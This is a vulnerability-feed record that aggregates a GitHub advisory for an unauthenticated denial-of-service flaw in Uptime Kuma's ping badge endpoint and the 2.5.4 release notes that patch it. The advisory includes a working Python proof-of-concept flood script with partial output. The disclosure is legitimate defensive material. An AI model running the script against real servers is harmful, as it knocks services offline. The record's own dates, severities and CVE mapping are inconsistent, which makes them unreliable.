{"vuln_id":"GHSA-wf2j-5mc7-5c4w","aliases":["CVE-2026-77415"],"description":"Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs","published_at":"2026-10-09T02:30:47Z","modified_at":"2026-10-09T02:30:47Z","first_seen_at":"2026-11-22T13:40:14.911148Z","severity":"high","severity_source":"ghsa","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":["CWE-400","CWE-770"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-wf2j-5mc7-5c4w"},"matched_alias":null,"items":[{"id":12010,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-wf2j-5mc7-5c4w: Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs","summary":"Unauthenticated resource exhaustion DoS in ping badge endpoint via arbitrary monitor IDs\n\n### Summary\r\nThe public endpoint GET /api/badge/:id/ping/:duration? performs expensive uptime calculator initialization for arbitrary monitor IDs before rejecting non-public or nonexistent monitors. An unauthenticated attacker can send many requests with unique fake monitor IDs, causing resource exhaustion and denial of service.  Once the service becomes unresponsive, all endpoints cease functioning for a time after the active attack ends (around 5-10 minutes in testing), not just the badge one.\r\n\r\n### Details\r\nIn server/routers/api-router.js:\r\n\r\nrouter.get(\"/api/badge/:id/ping/:duration?\", cache(\"5 minutes\"), async (request, response) => {\r\n    allowAllOrigin(response);\r\n    \r\n    ...\r\n    \r\n        const uptimeCalculator = await UptimeCalculator.getUptimeCalculator(requestedMonitorId);\r\n        const avgPing = uptimeCalculator.getDataByDuration(requestedDuration).avgPing; // XXX: This ties up resources\r\n\r\n        const badgeValues = { style };\r\n\r\n        if (!publicMonitor) {\r\n            // return a \"N/A\" badge in naColor (grey), if monitor is not public / not available / non exsitant\r\n\r\nShould check for public earlier, before doing anything expensive, and/or a quicker fail for invalid IDs.\r\n\r\n### PoC\r\n```\r\n#!/usr/bin/env python3\r\nimport time, urllib.request, concurrent.futures\r\n\r\nTARGET = \"http://127.0.0.1:3001\"\r\nTOTAL = 100_000\r\nCONCURRENCY = 100\r\nTIMEOUT = 5\r\nSTART_ID = 1_000_000_000\r\n\r\nok = fail = 0\r\nstart = time.perf_counter()\r\n\r\nprint(f\"Target: {TARGET}\")\r\nprint(f\"Requests: {TOTAL}, concurrency: {CONCURRENCY}\")\r\n\r\nwith concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENCY) as pool:\r\n    futures = [\r\n        pool.submit(\r\n            urllib.request.urlopen,\r\n            f\"{TARGET}/api/badge/{START_ID + i}/ping/24h\",\r\n            timeout=TIMEOUT,\r\n        )\r\n        for i in range(TOTAL)\r\n    ]\r\n\r\n    for n, fut in enumerate(concurrent.futures.as_completed(futures), 1):\r\n        try:\r\n            r = fut.result()\r\n            r.read(128)\r\n            r.close()\r\n            ok += 1\r\n        except Exception:\r\n            fail += 1\r\n\r\n        if n % 1000 == 0:\r\n            hstart = time.perf_counter()\r\n            try:\r\n                h = urllib.request.urlopen(f\"{TARGET}/api/entry-page\", timeout=TIMEOUT)\r\n                h.read(1)\r\n                h.close()\r\n                health = f\"health=ok time={time.perf_counter() - hstart:.2f}s\"\r\n            except Exception:\r\n                health = f\"health=FAIL time={TIMEOUT:.2f}s\"\r\n\r\n            print(\r\n                f\"{n}/{TOTAL} done \"\r\n                f\"ok={ok} fail={fail} \"\r\n                f\"wall={time.perf_counter() - start:.1f}s \"\r\n                f\"{health}\"\r\n            )\r\n\r\n```\r\nTail PoC output:\r\n53000/100000 done ok=53000 fail=0 wall=264.2s health=ok time=0.02s\r\n54000/100000 done ok=54000 fail=0 wall=273.8s health=ok time=0.02s\r\n55000/100000 done ok=55000 fail=0 wall=283.6s health=ok time=0.02s\r\n56000/100000 done ok=56000 fail=0 wall=293.5s health=ok time=0.02s\r\n57000/10000\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 2.5.4","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-wf2j-5mc7-5c4w","published_at":"2026-10-09T02:30:47Z","updated_at":"2026-10-09T02:30:47Z","fetched_at":"2026-11-22T13:40:14.883732Z","severity":"high","cvss_score":7.5,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-77415","vuln_ids":["CVE-2026-77415","GHSA-WF2J-5MC7-5C4W"],"tags":["repo-advisory","","CWE-400","CWE-770","security","repo:louislam/uptime-kuma"],"cluster_id":11312,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12010","html":"https://vulnwatch.ve1ve2.com/item/12010"}},{"id":12687,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.5.4","summary":"Fixes advisories: GHSA-wf2j-5mc7-5c4w\n\nSecurity keywords: security, CVE-2026-77415, GHSA-WF2J-5MC7-5C4W\n\n### 🆕 New Features\r\n- #7801 feat(notification): add Signalgrid as notification provider (Thanks @signalgridco)\r\n- #7740 feat: add Notify! notification provider (Thanks @simplytoast1)\r\n- #7719 feat: add Amoot SMS notification provider (Thanks @sina3sd)\r\n- #7637 fix: omit content headers from cached 304 responses (Thanks @cyphercodes)\r\n- #7034 feat: add SFTP monitor type with password and private key authentication (Thanks @eXtgmA)\r\n\r\n### 💇‍♀️ Improvements\r\n- #7672 feat(auth): hide/show password toggle in login page (Thanks @kilian-nagel)\r\n\r\n### 🐞 Bug Fixes\r\n- #7820 fix(real-browser): always close browser context (Thanks @EmptyPerson)\r\n- #7787 fix: iOS PWA icon has black background (Thanks @konstantintutsch)\r\n- #7739 fix: the two ping timeout ceilings were swapped in the monitor form (Thanks @evnchn)\r\n- #7718 fix:  move afterCreate to initial mariadb pool config (Thanks @otbutz)\r\n- #7690 fix: accepted status codes custom range discarded on tag creation (Thanks @AmanUllah687)\r\n\r\n### ⬆️ Security Fixes\r\n- #7838 fix: bump jsonata to 2.2.2 (CVE-2026-77415) (Thanks @Fierygit @cursoragent)\r\n- GHSA-wf2j-5mc7-5c4w DoS weakness\r\n\r\n### 🦎 Translation Contributions\r\n- #7812 #7757 chore: Translations Update from Weblate (Thanks @12LuA @aindriu80 @Aluisio @AnnAngela @AntonPalmqvist @cyril59310 @dodog @Gringit @helakostain @jamalkamaladdin @Kodashas @mcasellas @ueskici @xavivars)\r\n\r\n\r\n\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.4","published_at":"2026-09-11T10:09:10Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744910Z","severity":"critical","cvss_score":9.3,"epss":0.00892,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-77415","vuln_ids":["CVE-2026-77415","GHSA-WF2J-5MC7-5C4W"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11797,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12687","html":"https://vulnwatch.ve1ve2.com/item/12687"}}]}